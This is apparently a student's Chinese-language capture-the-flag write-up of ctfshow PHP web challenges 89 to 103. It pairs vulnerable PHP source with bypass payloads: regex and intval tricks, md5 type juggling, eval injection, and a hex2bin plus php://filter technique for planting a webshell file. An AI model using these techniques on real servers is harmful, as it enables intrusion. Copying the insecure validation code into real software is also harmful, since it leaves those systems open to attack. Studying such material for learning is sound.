89
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no no no!");
}
if (intval($num)) {
echo $flag;
}
}
preg_match:用于执行正则表达式匹配。它接受两个参数:要匹配的正则表达式模式和要搜索的字符串。如果找到了匹配的模式,则返回 1,否则返回 0(没有匹配),或者返回 false(如果发生错误)。
preg_match("/[0-9]/", $num)
用于检查$num
中是否包含任何数字。如果包含数字,则表示存在不安全的输入,因此脚本会输出 "no no no!" 并终止执行。intval:用于将字符串转换为整数。它接受一个字符串作为参数,并尝试将其转换为整数。如果字符串以数字开头,则转换为对应的整数值。如果字符串不是以数字开头,或者包含非数字字符,则返回 0。
intval($num)
用于检查$num
是否可转换为非零的整数。如果可以,说明输入合法,脚本将输出$flag
的值。
num中包含数字,输出nonono并终止,将num转化为数字,输出flag
所以将num定义为数组
90
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === "4476") {
die("no no no!");
}
if (intval($num, 0) === 4476) {
echo $flag;
} else {
echo intval($num, 0);
}
}
intval()
函数的第二个参数被设置为 0。这个参数是可选的,它指定了转换字符串时所使用的进制。当这个参数为 0 时,intval()
函数会根据字符串的格式自动判断要使用的进制,然后将他转化为十进制。
如果num等于4476,输出nonono结束程序。
如果将num转化为数字等于4476,输出flag。
所以可以将num定义为二进制或者八进制等,只要等于是兼职的4476就行
intval没有前缀会默认为十进制,所以刚刚尝试二进制和八进制没成功,十六进制可以
又因为intval()函数只取整数部分且如果没有前缀会默认是十进制 ,所以也能用num=4476.1或者4476a等等
91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
$a=$_GET['cmd'];
是 PHP 中用于从 URL 查询参数中获取名为 'cmd' 的值并将其存储在变量$a
中的语句。
^
表示匹配字符串的开头,$
表示匹配字符串的结尾。因此,^php$
匹配的是一个整个字符串,该字符串的内容是 "php"。这是修饰符,
i
表示大小写不敏感,m
表示多行模式。所以,
preg_match('/^php$/im', $a)
的含义是:换句话说,这个正则表达式将尝试在$a
的值中查找精确匹配 "php" 的子串,不区分大小写,并且可以在多行中进行匹配。在url中换行符为
%0A
获取名为cmd的值存入变量a中,如果变量a中有字符串“php”(不限制大小写多行),并且在单行中没有php(不限制大小写),输出flag
cmd=ph%0ApHP
92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
web 90 $num === "4476"
web 92 $num ==4476
===
(严格相等):比较值和类型。都相等的情况下,表达式才会返回 true。有任何一个不匹配,则返回 false。
==
(相等):比较两个数的值,但会在比较之前进行类型转换。如果值相等,即使类型不同,也会返回 true。
4476.2可以,4476a不行,八进制可以
93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
num==4476不行,也不能出现字母,intval($num,0)==4476,才会输出flag
还是用小数就行
94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos($num,"0")用于查找字符串
$num
中首次出现子字符串 "0" 的位置。
num不能等于4476,不能出现字母,必须有0,输出flag
4476.01
95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
不能$num==4476,不能出现小写字母、\和.,不能没有0。使intval($num,0)===4476,会输出flag
用八进制,num=010574
96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
如果参数u是flag.php文件,输出nonono。否则输出参数u包含的文件
使u=./flag.php ,绝对路径和相对路径都可
97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
用post传参,使a不等于b,但是他们经过md5加密后要相等
1.md5加密数组结果为NULL,使ab等于不同的数组即可
2.科学计数法,0的n次方都等于0,如果md5加密后的值为0e.......
98
<?php
include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
半夜3点做这题我真的想报警
总之,要让HTTP_FLAG==flag才能输出flag,还要用get传参,但是第二行get传参如果存在,就会被post传参覆盖。
所以我们先要让get传参存在(随便传一个数),然后用post传入HTTP_FLAG==flag
99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i = 36; $i < 0x36d; $i++) {
array_push($allow, rand(1, $i));
}
if (isset($_GET['n']) && in_array($_GET['n'], $allow)) {
file_put_contents($_GET['n'], $_POST['content']);
}
rand(1, $i)
:这个函数用于生成一个指定范围内的随机整数。1
是生成随机数的最小值,而$i
则是生成随机数的最大值,这个最大值是动态变化的。
array_push($allow, rand(1, $i))
:这行代码将生成的随机整数添加到数组$allow
中。array_push()
函数用于向数组的末尾添加一个或多个元素。
in_array()
函数会检查$_GET['n']
是否在这个数组中
暂时没看懂,先放着
100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
if (!preg_match("/\;/", $v2)) {
if (preg_match("/\;/", $v3)) {
eval("$v2('ctfshow')$v3");
}
}
}
eval()
函数会将字符串作为 PHP 代码来执行。在这里,eval()
将执行字符串"$v2('ctfshow')$v3"
中的代码。这行代码的作用是执行由变量
$v2
指定的函数,并将字符串'ctfshow'
作为参数传递给这个函数,然后执行变量$v3
中的内容
get传入v1,v2,v3的值,v0是个布尔类型,如果v1v2v3都是数字,v0为ture
如果v0是ture,并且v2没有;标点,并且v3没有;标点
其实这里只需要v1是数字即可,因为赋值操作的优先级大于and,让v2等于输出ctfshow的函数,将v3注释掉
?v1=1&v2=var_dump($ctfshow)/*v3=0*/
101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)) {
eval("$v2('ctfshow')$v3");
}
}
}
和上道题的区别是不能有一堆标点
ReflectionClass
是 PHP 中的一个内置类,用于获取类的反射信息。通过ReflectionClass
类,可以获取有关类的各种信息,例如类的属性、方法、常量等。
可以使 v2=echo new ReflectionClass
102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if ($v4) {
$s = substr($v2, 2);
$str = call_user_func($v1, $s);
echo $str;
file_put_contents($v3, $str);
} else {
die('hacker');
}
substr($v2, 2)
函数调用将从字符串$v2
中获取一个子串,从索引位置 2 开始,直到字符串的末尾。
call_user_func()
函数的作用是根据给定的回调函数或方法,调用该函数或方法,并将指定的参数传递给它。在这里,它调用了由变量
$v1
指定的函数或方法,传递了$s
作为参数。函数的返回值被赋值给变量$str
。
file_put_contents()
函数的作用是将指定的内容写入文件中。它的第一个参数是文件名,第二个参数是要写入的内容。
这题也没太看懂
call_user_func(callback,parameter ) //是一个回调函数
第一个参数 callback 是被调用的回调函数(一般为闭包函数)其余参数是回调函数的参数
v2从第三位开始所有的值作为v1函数的参数)把v3作为文件名传入既然往进写文件那就可以写一个php的一句话木马或者是命令执行那一句话木马如何只作为数字并且经过函数又正常执行呢那一定是16进制和hex2bin
本来以为这样就可以了但是这里0x在is_numeric面前根本通不过
而且hex2bin也不允许有0x所以这里还得再加一层base64给文件内容进行base64加密然后v3利用php://filter/write=convert.base64-decode/resource伪协议把命令写进去,所以最终输入:
get:?v2=***504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
回车然后
访问1.php后查看源代码获得flag
103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if ($v4) {
$s = substr($v2, 2);
$str = call_user_func($v1, $s);
echo $str;
if (!preg_match("/.*p.*h.*p.*/i", $str)) {
file_put_contents($v3, $str);
} else {
die('Sorry');
}
} else {
die('hacker');
}
和上道题差不多,用一样的方法也能解决